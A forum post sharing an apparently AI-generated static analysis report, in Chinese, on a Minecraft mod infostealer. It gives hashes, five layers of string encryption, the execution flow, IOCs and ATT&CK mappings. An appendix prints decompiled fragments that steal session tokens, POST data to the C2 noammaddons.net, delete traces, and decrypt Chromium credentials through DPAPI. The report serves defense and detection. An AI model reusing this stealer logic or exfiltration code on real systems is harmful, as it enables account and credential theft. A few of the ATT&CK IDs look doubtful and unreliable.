用GLM5.3FLAHS跑了2个多小时,终于跑出来了。下面是分析报告、模型底座:GLM5.3Flash,智能体:zcode。
恶意软件分析报告伪装 Minecraft 模组的信息窃取器(Stealer)[td]项目 | 内容 | | 报告日期 | 2026-09-06 | | 分析对象 | 信息窃取模组\notenoughupdates-3.0.0-26.1.2.jar(附 吾爱.url 来源快捷方式) | | 分析环境 | Windows 10 虚拟机(已建快照),全程纯静态分析,样本未被执行 | | 分析人 | ZCode(安全分析代{过}{滤}理) | | 结论 | 恶意 —— 高置信度。伪装成 Minecraft Fabric 模组的信息窃取器(Stealer) |
1. 结论摘要该 JAR 文件不是其所声称的 Not Enough Updates(NEU)模组,也不是其内部声明的 "Resource Loader" 模组,而是一个针对 Minecraft 玩家的信息窃取木马。它以 Fabric 客户端模组为载体,在游戏客户端启动时自动执行,主要行为包括: 窃取 Minecraft 会话凭据(玩家名 + 会话 accessToken); 按远程下发的配置收集受害者磁盘上的文件(含浏览器数据解密能力:Windows DPAPI + AES-GCM,借道 Minecraft 自带的 JNA 库调用 CryptUnprotectData); 以正则匹配方式从文件内容中提取凭据类信息; 将收集的数据与日志通过 HTTP multipart POST 上传至攻击者服务器; 上传前后删除以受害者玩家名命名的中间产物,具备反取证清理行为。
传播背景:样本来自吾爱破解论坛帖子(thread-2126547),该帖现已被论坛以"涉嫌存在捆绑木马病毒"为由删除,与本次分析结论相互印证。该样本哈希在 VirusTotal 等公开渠道暂无收录记录(截至分析时),属于较新鲜的样本。 置信度说明:判定为恶意的直接证据(会话窃取 API 调用、C2 域名与上传端点、multipart 上传实现、DPAPI/浏览器凭据解密组件、反取证删除逻辑)均来自反编译代码本身,不依赖任何动态执行或启发式猜测,置信度高。
2. 样本信息[td]属性 | 值 | | 文件名 | notenoughupdates-3.0.0-26.1.2.jar | | 大小 | 895,605 字节 | | MD5 | 976A754FFEDD66E969E671E490143731 | | SHA256 | 672205944E9AE8FDF5BDAE320B556BAFCB1130EB2E78AE4EA63998C6CEEFAC0D | | 文件类型 | ZIP/JAR(Java 字节码,非 PE,无需传统脱壳) | | 签名状态 | 未签名(jarsigner -verify:jar 未签名) | | 声称身份 | 文件名伪装为知名模组 NEU (Not Enough Updates) 3.0.0;内部 fabric.mod.json 声明为 "Resource Loader" v26.2(一个真实存在的良性优化模组,属二次伪装),id=resourceloader,入口 com.mod.Main | | 运行环境要求 | Fabric Loader ≥ 0.15.0、Minecraft 26.1.2、fabric-api、Java ≥ 21 | | 来源 | 吾爱.url → https://www.52pojie.cn/thread-2126547-1-1.html(该帖已因"涉嫌捆绑木马病毒"被删除) | | 构建痕迹 | Fabric-Loom 1.15.1 / Fabric-Loader 0.17.0(标准 Fabric 模组工程构建) | JAR 内部结构(24 个类)[td]组件 | 体积(原始/反编译) | 实际角色 | | com/mod/Main.class | 50 KB / 77 KB | 入口编排器(Fabric ClientModInitializer) | | 22 个随机名混淆类(jar 根部) | 38–144 KB 不等 | 窃密功能模块 + 字符串/加密基础设施 | | gddkipgxfhskvamp/qxgtnpgkcluyomut.class | 28 KB / <1 KB | 控制流混淆分发器(3 个纯算术函数) | | fabric.mod.json / MANIFEST.MF / LICENSE_resourceloader |
| 伪装所需的良性元数据 |
3. 分析方法与合规声明未执行样本:全程未以任何方式运行原始 JAR(无 java -jar、未加载其类、未触发其任何入口)。 静态分析链路:DIE 识别 → 解包 → Vineflower 1.12.0 反编译 → 代码审计。 脱壳方式(Java 层):样本的多层字符串加密无法直接阅读,分析者将经过人工审计、确认只含纯算术运算(XOR/查表/AES 解密,无任何文件或网络 I/O)的解密函数源码取出,剥离构造器与全部危险调用(网络请求、文件删除、窃密模块替换为打印桩),构建了独立的"去毒化重建"工具链并运行,从而在不执行样本代码的前提下恢复了全部关键加密字符串。被运行的只有分析者自己重新编译的桩代码,原始字节码从未被加载执行。 情报查询:仅以哈希字符串查询公开渠道(搜索引擎/VirusTotal 页面/MalwareBazaar 接口),未上传样本文件。
4. 混淆与加密机制(脱壳过程记录)样本的对抗强度显著高于一般 Minecraft 盗版模组恶意软件,采用了五类技术: 4.1 多层嵌套字符串加密(5 层)所有敏感字符串(URL、路径、配置键、令牌等)均经过以下流水线加密,运行时逐层还原: 明文 → [层1] 自定义"字典切片+密钥XOR"编码 → Base64 编码
→ [层2] AES/CBC/PKCS5Padding 解密(密钥为内嵌字节表 XOR 还原)
→ [层3] 第二组 Cipher 解密(密钥来自内嵌 int[] 表)
→ [层4] 与内嵌密钥表逐字节 XOR
→ [层5] 最内层 Cipher 解密(盐/IV/密文三段切分)解密实现全程使用反射调用(Class.forName 的类名本身也是加密字符串:javax.crypto.Cipher、javax.crypto.spec.SecretKeySpec、javax.crypto.spec.IvParameterSpec 等),以规避静态扫描。每层密钥材料均为确定性常量(XOR 链 + 固定种子 Random),无随机数参与,因此可完全离线还原。 4.2 控制流混淆方法体被改写为基于分发器函数的 switch 状态机:gddkipgxfhskvamp.qxgtnpgkcluyomut 提供三个纯算术函数(如 (x*31>>>4)%x ^ x>>>16),配合大量不透明谓词(opaque predicate)、throw null 反模式和嵌套 label 跳转,并到处放置 Error in hash 假异常分支。 4.3 反反编译4 个核心模块(MwcDu0…、vEmC8RL0…、v9nSnB…、m7B8AM…)各含一个故意构造为不可分解控制流图的方法,导致 Vineflower 反编译失败("Statement cannot be decomposed although reducible!"),只能依赖字节码(javap)定性分析。 4.4 自校验/反篡改门卫入口流程先调用 bsGnvoHiTeGv56hRqqp3iPw(反编译后 116 KB,含大量哈希计算与 NetworkInterface、文件系统访问)对自身做完整性校验(byte 校验值 != 615210893 ^ 状态变量 则静默退出),用于对抗补丁分析与环境修改。 4.5 常量隐藏关键常量通过固定种子 new Random(<长常量>).nextInt() 再 XOR 生成(种子跨 JVM 确定性相同),并夹杂 Integer.parseInt("1961845774") 之类的干扰表达式;每个类还内嵌大幅 ASCII 艺术字符画(恶魔/手势图案)作为掩护性死代码。
5. 执行流程(代码级证据)入口 com.mod.Main.onInitializeClient() 在 Minecraft 客户端启动(Fabric 模组初始化阶段)自动触发,在独立线程中按以下顺序执行: ① 清理现场 删除 %TEMP%\Minecraft_Log.txt(上次运行的窃密日志)
② 异步上线 解密拼接出 C2 配置 URL → GET https://noammaddons.net/json
→ 响应存为 JSON 对象(后续所有路径/参数按需查询)
③ 自校验 bsGnvoHiTeGv56hRqqp3iPw 完整性校验,失败则静默放弃
④ 窃取会话 切入渲染线程:Minecraft.getUser().getName()
与 getUser().getAccessToken()
→ 以 "[时间戳] M: <玩家名> / M: <accessToken>" 追加写入 %TEMP%\Minecraft_Log.txt
⑤ 探测/清理 查询远程配置键 "28"/"78"/"80"/"184"/"79":
对 <系统目录(配置下发)>\<被窃玩家名><配置后缀> 共 5 个路径
做 3 次逆序递归删除 + 2 次单文件删除(反取证)
⑥ 数据收割 依次调用四个对抗反编译模块(休眠 500ms 后):
MwcDu0…(文件收割:3 组 ArrayList<Path>,按谓词过滤)
vEmC8RL0…(文件复制搬运至暂存位置)
v9nSnB…(正则内容扫描:Pattern+byte[] 提取凭据类字符串)
hl22MuM…(大规模文件遍历,反编译后 578 KB)
⑦ 等待汇合 AtomicInteger 计数器归零轮询(模块完成后递减)
⑧ 打包外传 JISgOXj…(反编译后 178 KB):
multipart/form-data POST https://noammaddons.net/api/upload
头部 Authorization: Bearer neunew
boundary = "----" + 当前毫秒时间戳
消息体 = 文本字段 + 文件字段(原始字节流)+ 键值对表
⑨ 解析响应 Y8cbb9…(gson)解析服务器返回的 JSON浏览器凭据解密能力:类 vY3sKol2ectun4ocI5FzchpHvhwjZ3vDM2 导入 com.sun.jna.Function、com.sun.jna.NativeLibrary、com.sun.jna.platform.win32.WinCrypt.DATA_BLOB 及 javax.crypto.Cipher/GCMParameterSpec/SecretKeySpec。这是针对 Chromium 内核浏览器(Chrome/Edge 等)加密数据的标准解密组合:DPAPI CryptUnprotectData(借道 Minecraft 客户端自带的 JNA 库,无需额外依赖)解密 Local State 中的主密钥,再以 AES-256-GCM 解密 Cookies/登录数据。该类对外提供 byte[](DPAPI 解密)与 String(GCM 解密)两个公开解密接口,供扫描模块调用。 说明:具体"偷什么文件、扫什么正则"由服务器端配置与各模块内嵌的加密字符串决定。配置键与 URL 已恢复,但配置值(键 "28"/"78"/"79"/"80"/"184" 对应的实际路径/后缀)保存在 noammaddons.net 服务器上,静态分析无法得知,亦不应主动连接该服务器验证。
6. 恢复出的关键字符串(脱壳产物)[td]明文 | 用途 | | https://noammaddons.net/json | C2 配置接口(启动时 GET,返回 JSON 供后续查询) | | https://noammaddons.net/api/upload | 数据上传接口(7 段字符串拼接) | | neunew | 上传认证令牌(Authorization: Bearer neunew) | | Minecraft_Log.txt | 窃密日志文件名(位于 %TEMP%) | | java.io.tmpdir | 日志目录定位用系统属性({len=14, off=0} 切片解密) | | 28、78、79、80、184 | 远程配置 JSON 的数字键(控制目录属性名与清理路径后缀) | | yyyy-MM-dd HH:mm:ss z | 日志时间戳格式 | | neunew(亦作 L1 段) | C2 相关标识字符串 | | M: (前缀) | 会话窃取日志前缀("M" 即 Minecraft) | | 配置查询键 28/78/80/184/79 | 分别用于 4 个探测清理块与日志目录定位 |
7. IOC(失陷指标)清单网络指标[td]类型 | 值 | 说明 | | 域名 | noammaddons.net | C2/配置/上传服务器("noamm addons"——又一次蹭 NEU 模组名) | | URL | https://noammaddons.net/json | 配置拉取(GET,JSON 响应,数字键) | | URL | https://noammaddons.net/api/upload | 数据上传(POST,multipart) | | HTTP 头 | Authorization: Bearer neunew | 固定上传令牌(硬编码) | | 特征 | Content-Type: multipart/form-data; boundary=----<13位毫秒时间戳> | 上传流量指纹 | 主机指标[td]类型 | 值 | 说明 | | 文件路径 | %TEMP%\Minecraft_Log.txt | 窃密数据暂存日志(启动时删除重建) | | 文件路径 | <配置下发目录>\<玩家名><配置后缀>(5 个) | 每次运行开始时被递归/单文件删除 | | 文件哈希 | SHA256 672205944E9AE8FDF5BDAE320B556BAFCB1130EB2E78AE4EA63998C6CEEFAC0D | 样本本体 | | 文件哈希 | MD5 976A754FFEDD66E969E671E490143731 | 样本本体 | | JAR 结构 | fabric.mod.json 中 id=resourceloader + entrypoint=com.mod.Main,但 jar 根部存在 22 个随机名类 | 结构指纹(正常 Resource Loader 模组无此结构) |
8. MITRE ATT&CK 技术映射[td]战术 | 技术 | 编号 | 证据 | | 初始访问 | 伪装成良性模组的社会工程分发 | T1204.002 | 伪装 NEU 模组、论坛帖分发 | | 执行 | 依赖宿主应用执行(Minecraft+Fabric 入口) | T1204 / T1059 | ClientModInitializer 自动触发 | | 凭据访问 | 游戏会话令牌窃取 | T1528 | User.getAccessToken() | | 凭据访问 | Windows DPAPI(CryptUnprotectData) | T1555.003 / T1003 | JNA WinCrypt.DATA_BLOB 导入 | | 凭据访问 | 浏览器数据解密(AES-GCM,Chromium 方案) | T1555.003 | Cipher/GCMParameterSpec/SecretKeySpec | | 收集 | 文件/目录遍历收集 | T1005 / T1083 | Files.walk、FileVisitor、FileFilter | | 收集 | 内容正则提取 | T1552 / T1005 | java.util.regex.Pattern+byte[] 扫描 | | 收集 | 本地数据暂存 | T1074.001 | %TEMP%\Minecraft_Log.txt(带时间戳追加写) | | 防御规避 | 混淆(多层加密+控制流+反反编译) | T1027 / T1027.002 / T1406 | 五层解密链、Vineflower 失败点 | | 防御规避 | 自完整性校验(反篡改) | T1064?/反分析 | bsGnvoHi 哈希门卫 | | 防御规避 | 反取证:文件/目录删除 | T1070.004 | 逆序递归删除玩家名路径 | | 外传 | HTTP multipart 上传 + Bearer 认证 | T1041 / T1567 | HttpURLConnection 实现 | | 命令控制 | 应用层协议(HTTPS JSON 配置下发) | T1101 / T1071.001 | 远程配置驱动行为 |
9. 危害评估与处置建议9.1 已运行过该模组的受害者立即修改 Minecraft/Microsoft 账户密码并使全部会话失效(accessToken 可被用于盗号/顶号),在 microsoft.com 安全页面注销所有设备会话; 检查 %TEMP%\Minecraft_Log.txt 是否存在(存在即证实已失陷); 视情况轮换在受感染机器上使用过的浏览器保存的密码/Cookie(样本具备 Chromium 凭据解密能力)、Discord/邮箱/平台账号凭据; 对主机做全盘查杀并排查该 JAR 的落盘位置与来源; 在防火墙/路由器层面封锁 noammaddons.net。
9.2 防护建议(面向社区/服主)不要安装来路不明的 .jar "模组",尤其当文件名蹭知名模组(NEU)而内部元数据对不上时——比对文件名与 fabric.mod.json 声明的模组 id/名称/版本是否一致; 正版模组只从 Modrinth/CurseFabric/GitHub 官方发布页下载; 部署/整合包发布前用 jarsigner -verify(正常社区模组通常无签名,但可检查结构)与杀毒引擎扫描,警惕"根部大量随机名类 + 无包结构"的 JAR; 安全厂商可将第 7 节 IOC 加入检测规则(YARA 思路:fabric.mod.json 声明 resourceloader 但含 com/mod/Main.class + 根部随机名类 + 常量池含 Error in hash 字符串)。
9.3 残余不确定项
10. 附录A. 分析工具与版本[td]工具 | 用途 | | Detect It Easy 3.20(脱壳\die\diec.exe) | 文件类型识别 | | Eclipse Temurin JDK 21.0.12.1(脱壳\jdk) | jar 解包、javap 字节码分析、jarsigner 验签、解密工具链编译运行 | | Vineflower 1.12.0(Maven Central,SHA256 1DFCFE974395734FA467CE620661C7623D05BA83670DE0529B1FBD63FF548B9D) | Java 反编译 | | PowerShell 5.1 | 哈希、十六进制头、环境盘点 | | (备而未用)Ghidra 12.1.3、x64dbg、Procmon、TCPView | 若发现 PE 载荷/做动态分析时启用——本次样本为纯 Java 载荷,未涉及 | B. 关键反编译证据片段入口编排(com.mod.Main,节选自反编译输出,已还原注释): // ① 删除旧日志
Path var0 = xNbz3fXHtNQZK4v1PksFIfBUIw2Tw; // = %TEMP%\Minecraft_Log.txt
boolean var8 = Files.deleteIfExists(var0);
// ② 拼接 C2 配置 URL 并 GET(解密片段: "https://","noamm","addons",".net/","json")
String var5xx = var0x + var1xx + var2xx + var3x + var4x;
HZ5hF9QaJX6gvzZQ0VqJvKfmjK6KaqBttM7sFtB.xNbz3fXHtNQZK4v1PksFIfBUIw2Tw(var5xx, 553114601); // GET+JSON解析
// ④ 窃取 Minecraft 会话(在渲染线程回调中)
User var3x = Minecraft.getInstance().getUser();
xNbz3fXHtNQZK4v1PksFIfBUIw2Tw = var3x.getName(); // 玩家名
TmuR50de8DS4ZyJN0CqkJ = var3x.getAccessToken(); // 会话令牌
Okx1bX9TGA3porNc9lSmsTvt7A2fxOZgHci.xNbz3fXHtNQZK4v1PksFIfBUIw2Tw("M: " + 名/令牌, 1789914150); // 写入 %TEMP%\Minecraft_Log.txt
// ⑥ 依次调用四个(对抗反编译的)收割模块
MwcDu0genoVpRmCNi9qwugN3p2vT885D7sA.xNbz3fXHtNQZK4v1PksFIfBUIw2Tw(1933533142);
vEmC8RL0vNWdhnhTp1D3G2k.xNbz3fXHtNQZK4v1PksFIfBUIw2Tw(55810693);
v9nSnB53VRNTicvwiVfi768s4qgipaF20.xNbz3fXHtNQZK4v1PksFIfBUIw2Tw(1506955371);
hl22MuM2vs56qKCFu4Tiu.xNbz3fXHtNQZK4v1PksFIfBUIw2Tw(164700021);
// ⑧ 最终外传
JISgOXjIIDJ3PbIOaUrUB8FwM2x8ytZIZOtp.xNbz3fXHtNQZK4v1PksFIfBUIw2Tw(261295768);上传实现(JISgOXj…,节选): String var143 = "https://"+"noamm"+"addons"+".net/"+"ap"+"i/up"+"load"; // 各段为解密结果
HttpURLConnection var27 = (HttpURLConnection) new URL(var143).openConnection();
var27.setRequestMethod("POST");
var27.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary);
var27.setRequestProperty("Authorization", "Bearer " + "neunew"); // 解密结果
// multipart: 文本字段 + 文件字段(Content-Disposition + 原始字节流)反取证删除(com.mod.Main,节选): Path var21 = Paths.get(System.getProperty(配置键"28"的值), 玩家名 + 配置键"78"的值);
if (Files.exists(var21)) {
Files.walk(var21) // 逆序遍历(子项先删)
.sorted(Comparator.reverseOrder())
.forEach(p -> Files.deleteIfExists(p));
}浏览器凭据解密组件(vY3sKol2ectun4ocI5FzchpHvhwjZ3vDM2,import 证据): import com.sun.jna.Function;
import com.sun.jna.NativeLibrary;
import com.sun.jna.platform.win32.WinCrypt.DATA_BLOB; // → CryptUnprotectData (DPAPI)
import javax.crypto.Cipher;
import javax.crypto.spec.GCMParameterSpec; // → AES-256-GCM(Chromium v80+ 方案)
import javax.crypto.spec.SecretKeySpec;C. 样本文件清单(JAR 内 26 项)com/mod/Main.class 50,552 B 入口编排器
bsGnvoHiTeGv56hRqqp3iPw.class 71,280 B 自校验门卫/环境检查
GaQadKcxisnygoKy5SvDvlyCYtkg3l58uh.class 45,067 B Minecraft 会话窃取
gzP18x4pNvSeeIxSwNOrD6.class 49,695 B 解密层(AES/CBC,字典)
hl22MuM2vs56qKCFu4Tiu.class 69,299 B 大规模文件收集(反反编译)
HZ5hF9QaJX6gvzZQ0VqJvKfmjK6KaqBttM7sFtB.class 39,383 B C2 配置拉取(HTTP+gson)
JISgOXjIIDJ3PbIOaUrUB8FwM2x8ytZIZOtp.class 88,905 B multipart 上传外传
lCmGXLXTCPxFtKh8aFKUzhy6IS95xe5cnL5HaxY.class 67,268 B 字符串中枢(9 段 C2/令牌)
m7B8AMTaU3hFebUbA8yLtEhuaiSOMEUXX4O9WHVp.class 65,516 B 收集结果打包(反反编译)
MwcDu0genoVpRmCNi9qwugN3p2vT885D7sA.class 144,430 B 文件收割(反反编译)
Okx1bX9TGA3porNc9lSmsTvt7A2fxOZgHci.class 44,609 B 日志写入器(时间戳追加)
q6E46Rri6ooCXSovcnYWKS91uBWRAbUgPtd.class 38,361 B 文件遍历助手
qQkMAHx9t3Ux69Eh5pz1xi4YeFfCIrG6AbVuAVDZ.class 42,618 B 文件复制遍历助手
rcS3HVAR92E2kfCm0n7rzcAnk3qwBTo2meb.class 74,426 B 收集模块(NetworkInterface 等)
SBtFFWcxUMo0SyCXTgk9wals.class 38,472 B 解密层(int[][] 密钥表)
TmuR50de8DS4ZyJN0CqkJ.class 50,734 B 解密层(Cipher)
v9nSnB53VRNTicvwiVfi768s4qgipaF20.class 67,599 B 正则内容扫描(反反编译)
vEmC8RL0vNWdhnhTp1D3G2k.class 78,485 B 文件复制搬运(反反编译)
vmChq7Rnrwa5LQxYBFhFvgyNnHNQhKxSyhPt.class 42,679 B 最内层解密(long[] 密钥表)
vY3sKol2ectun4ocI5FzchpHvhwjZ3vDM2.class 47,612 B DPAPI+AES-GCM 浏览器凭据解密
xNbz3fXHtNQZK4v1PksFIfBUIw2Tw.class 58,326 B 解密层(Cipher,三段切分)
Y8cbb9Kt6omg1wvgRPhyFs.class 45,609 B 上传响应 JSON 解析
gddkipgxfhskvamp/qxgtnpgkcluyomut.class 28,596 B 控制流分发器
fabric.mod.json / META-INF/MANIFEST.MF / LICENSE_resourceloader 伪装元数据D. 分析产物位置[td]产物 | 路径 | | 分析工作区 | C:\Users\***\Desktop\123\_analysis\ | | 反编译源码 | _analysis\dec2\ | | 去毒化重建工具链 | _analysis\harness\(src/out) | | 脱壳输出(解密字符串记录) | _analysis\harness_result.txt | | 编译错误处理记录 | _analysis\javac_errors.txt |
原始样本 信息窃取模组\ 及 信息窃取模组.zip 全程未被修改、移动或删除;所有分析在 _analysis 工作区以副本完成。
报告完 —— 本报告由静态分析产生,未在分析环境外发起任何到 noammaddons.net 的连接,未上传样本文件至任何第三方服务。
|